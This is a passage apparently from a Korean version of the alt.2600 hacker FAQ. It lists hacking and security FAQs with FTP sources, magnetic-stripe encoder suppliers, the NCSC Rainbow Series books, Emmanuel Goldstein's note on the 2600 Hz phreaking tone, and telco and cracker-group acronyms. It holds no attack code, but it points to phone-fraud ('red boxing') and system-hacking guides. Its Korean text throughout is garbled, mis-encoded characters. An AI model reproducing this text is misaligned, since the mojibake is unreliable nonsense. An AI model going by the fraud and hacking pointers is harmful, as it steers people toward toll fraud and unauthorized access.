Áö¿ø, ±â¼úÀû ¹®¼, ±×¸®°í ¼¼¹Ì³ª µîÀ» Æ÷ÇÔÇÑ´Ù. ¶ÇÇÑ, ÆÀ¿¡¼´Â
¸¹Àº ¸ÞÀϸµ ¸®½ºÆ®(CERT advisory Æ÷ÇÔ)¸¦ ¿î¿µÇÏ°í anonymous FTP
¼¹ö - cert.org(192.88.209.5)¸¦ ¿î¿µÇÏ¿© º¸¾È °ü·Ã ¹®¼, ÀÌÀüÀÇ
CERT advisory¹®¼¿Í µµ±¸µéÀ» Á¦°øÇÏ°í ÀÖ´Ù.
CERT ¿¬¶ô Á¤º¸
U.S. mail address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
U.S.A.
Internet E-mail address
Telephone number
(412)268-7090 (24-hour hotline)
CERT Coordination Center personnel answer
7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
emergencies during other hours.
FAX number
(412)268-6989
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ¶óµð¿À ÇÁ·Î±×·¥Àº ¹«¾ùÀΰ¡?
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Full Disclosure Live Short Wave WWCR 5065 khz Sun 8pm EST
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Full Disclosure Live Satellite Telstar 302 (T2),
Ch 21, 5.8 Sun 8pm EST
ÇØÄ¿¿¡°Ô °ü½É°¡´Â FAQ(frequentlry asked question)´Â¹«¾ùÀΰ¡?
Frequently Asked Questions "Hacking Novell Netware"
Author: Simple Nomad <[email protected]>
ftp: jumper.mcc.ac.uk /pub/security/netware/faq.zip
ftp: ftp.fastlane.net /pub/nomad/nw/faq.zip
ftp: ftp.best.com /pub/almcepud/hacks/faq.zip
http://resudox.net/bio/mainpage.html
http://www.hookup.net/~apayne/nwhack.html
The PGP Attack FAQ
Author: Route [[email protected] / [email protected]]
ftp: infonexus.com /pub/Philes/Cryptography/PGPattackFAQ.txt.gz
Mac Hack FAQ: Defeating Security
Author: AX1P ([email protected])
Frequently Asked Questions About Red Boxing
Author: Mr. Sandman ([email protected])
VMS FAQ (Frequently Ask Questions)
Author: The Beaver ([email protected])
Anonymous FTP FAQ
Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/anonftp
Compromise FAQ: What if your Machines are Compromised by an Intruder
Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/compromise
Security Patches FAQ
Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/patch
Sniffer FAQ
Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/sniff
Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches
Author: Christopher Klaus <[email protected]> of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/vendor
Cryptography FAQ
Author: The Crypt Cabal
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/
Firewalls FAQ
Author: Marcus J. Ranum ([email protected])
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/
Buying a Used Scanner Radio
Author: [email protected] (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/
How to Find Scanner Frequencies
Author: [email protected] (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/
Introduction to Scanning
Author: [email protected] (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/
Low Power Broadcasting FAQ
Author: Rick Harrison.
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/
RSA Cryptography Today FAQ
Author: Paul Fahn
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/
VIRUS-L comp.virus Frequently Asked Questions (FAQ)
Author: Kenneth R. van Wyk <[email protected]>
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.virus/
Where to get the latest PGP (Pretty Good Privacy) FAQ
Author: [email protected] (Michael Johnson)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/
alt.locksmithing answers to Frequently Asked Questions (FAQ)
Author: [email protected] (Joe Ilacqua)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/
comp.os.netware.security FAQ
Author: Fauzan Mirza <[email protected]>
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/
rec.pyrotechnics FAQ
Author: [email protected] (Hans Josef Wagemueller)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/
ÀÚ±â¶ì(magnetic stripe)ÀÇ ÀÎÄÚ´õ(encoder)¿Í µðÄÚ´õ(decoder)´Â ¾îµð¼ ±¸ÀÔÇϳª?
CPU Advance
PO Box 2434
Harwood Station
Littleton, MA 01460
(508)624-4819 (Fax)
Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL 60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)
Security Photo Corporation
1051 Commonwealth Avenue
Boston, MA 02215
(800)533-1162 (Voice)
(617)783-3200 (Voice)
(617)783-1966 (Voice)
Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)
Alltronics
2300 Zanker Road
San Jose CA 95131
(408) 943-9774 Voice
(408) 943-9776 Fax
(408) 943-0622 BBS
Part Number: 92U067
Atalla Corp
San Jose, CA
(408) 435-8850
¹«Áö°³»ö Ã¥Àº ¹«¾ùÀÌ¸ç ¾îµð¼ ±¸ÇÒ ¼ö ÀÖ³ª?
Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria
Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline
Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department
of Defense Trusted Computer System Evaluation Criteria in Specific
Environments
Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security
Requirements. Guidance for Applying the Department of Defense Trusted
Computer System Evaluation Criteria in Specific Environments.
Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems
Bright Blue Book
NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors
Neon Orange Book
NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted
Systems
Teal Green Book
NCSC-TG-004
Glossary of Computer Security Terms
Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System
Evaluation Criteria
Orange Book
NCSC-TG-006
A Guide to Understanding Configuration Management in Trusted Systems
Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems
Dark Lavender Book
NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems
Venice Blue Book
NCSC-TG-009
Computer Security Subsystem Interpretation of the Trusted Computer
System Evaluation Criteria
Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems
Dark Red Book
NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for
Applying the Trusted Network Interpretation
Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document
Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems
Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management
Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals
Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted
Systems
Light Blue Book
NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems
Blue Book
NCSC-TG-019
Trusted Product Evaluation Questionnaire
Gray Book
NCSC-TG-020A
Trusted Unix Working Group (TRUSIX) Rationale for Selecting
Access Control List Features for the Unix System
Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted
Computer System Evaluation Criteria
Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems
Bright Orange Book
NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in
Trusted Systems
Purple Book
NCSC-TG-024 (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to
Procurement Initiators on Computer Security Requirements
Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP
Specifications and Statements of Work - An Aid to Procurement
Initiators
Purple Book
NCSC-TG-024 (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract
Data Requirements List and Data Item Description Tutorial
+Purple Book
+NCSC-TG-024 (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors
Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information
Systems
Hot Peach Book
NCSC-TG-026
A Guide to Writing the Security Features User's Guide for Trusted Systems
Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems
Violet Book
NCSC-TG-028
Assessing Controlled Access Protection
Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation
Light Pink Book
NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems
C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment
*C Technical Report 79-91
*Integrity in Automated Information Systems
*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion
NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline
--
You can get your own free copy of any or all of the books by writing
or calling:
INFOSEC Awareness Division
ATTN: X711/IAOC
Fort George G. Meade, MD 20755-6000
Barbara Keller
(410) 766-8729
If you ask to be put on the mailing list, you'll get a copy of each new
book as it comes out (typically a couple a year).
[* == I have not personally seen this book]
[+ == I have not personally seen this book, and I believe it may not]
[ be available]
Alt.2600´Â Usenet newsgroupÀ¸·Î 2600 ÀâÁö¿¡ ´ëÇÑ ³íÀǸ¦ À§ÇÑ ³»¿ëÀ» Æ÷ÇÔÇÑ´Ù.
AtariÀÇ 2600 °ÔÀÓ ¸Ó½ÅÀ» À§ÇÑ ÀâÁö°¡ ¾Æ´Ï´Ù. [email protected]ÀÌ
Emmanuel GoldsteinÀÇ ÃßÀü¿¡ ÀÇÇØ ÀÌ ´º½º±×·ìÀ» ¸¸µé¾ú´Ù. EmmanuelÀº
2600ÀÇ ÆíÁýÀÚ/¹ßÇàÀÎÀÌ´Ù. Atari ¸Ó½Å¿¡ ´ëÇÑ Æ÷½ºÆÃÀÌ ºø¹ßÄ£ ´ÙÀ½
alt.atri.2600ÀÌ alt.2600À¸·Î À߸øµé¾î¿Â Æ÷½ºÆÃÀ» ¹Þ±â À§ÇØ ¸¸µé¾îÁ³´Ù.
Atari 2600 »ç¶÷µéÀº rec.games.video.classic·Î °¡±â ¹Ù¶õ´Ù.
2600Hz´Â ÀüÈ ÇÁ¸®Ä¿(phreak)ÀÌ 80³â´ë¿¡ »ç¿ëÇÏ´ø
°ÍÀÌ°í ÇöÀç´Â ÀϺÎÀÇ »ç¶÷µéÀÌ »ç¿ëÇÏ°í ÀÖ´Ù. 2600 Ç츣Ã÷ÀÇ À½Àº
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A note from Emmanuel Goldstein:
"The Atari 2600 has NOTHING to do with blue boxes or telephones
or the 2600 hertz tone. The 2600 hertz tone was simply the first
step towards exploring the network. If you were successful at
getting a toll call to drop, then billing would stop at that
point but there would be billing for the number already dialed
up until the point of seizure. 800 numbers and long distance
information were both free in the past and records of who called
what were either non-existent or very obscure with regards to
these numbers. This, naturally, made them more popular than
numbers that showed up on a bill, even if it was only for
a minute. Today, many 800 numbers go overseas, which provides
a quick and free way into another country's phone system
which may be more open for exploration."
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ŸÀÓÁî´Â ¿¹¸¦ µé¾î °¡ÆÇ´ë¿¡¼ $156 ÀÌ µé¾î¾ß »ì ¼ö ÀÖ°í, Áý¿¡
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TLA Three Letter Acronym
ACL Access Control List
PIN Personal Identification Number
TCB Trusted Computing Base
ALRU Automatic Line Record Update
AN Associated Number
ARSB Automated Repair Service Bureau
ATH Abbreviated Trouble History
BOC Bell Operating Company
BOR Basic Output Report
BOSS Business Office Servicing System
CA Cable
COE Central Office Equipment
COSMOS Computer System for Main Frame Operations
CMC Construction Maintenance Center
CNID Calling Number IDentification
CO Central Office
COCOT Customer Owned Coin Operated Telephone
CRSAB Centralized Repair Service Answering Bureau
DID Direct Inbound Dialing
DDD Direct Distance Dialing
ECC Enter Cable Change
LD Long Distance
LMOS Loop Maintenance Operations System
MLT Mechanized Loop Testing
NPA Numbering Plan Area
PBX Private Branch Exchange
POTS Plain Old Telephone Service
RBOC Regional Bell Operating Company
RSB Repair Service Bureau
SS Special Service
TAS Telephone Answering Service
TH Trouble History
TREAT Trouble Report Evaluation and Analysis Tool
LOD Legion of Doom
HFC Hell Fire Club
TNO The New Order
ACiD Ansi Creators in Demand
CCi Cybercrime International
FLT Fairlight
iCE Insane Creators Enterprise
iNC International Network of Crackers
NTA The Nocturnal Trading Alliance
PDX Paradox
PE Public Enemy
PSY Psychose
QTX Quartex
RZR Razor (1911)
S!P Supr!se Productions
TDT The Dream Team
THG The Humble Guys
THP The Hill People
TRSI Tristar Red Sector Inc.
UUDW Union of United Death Workers
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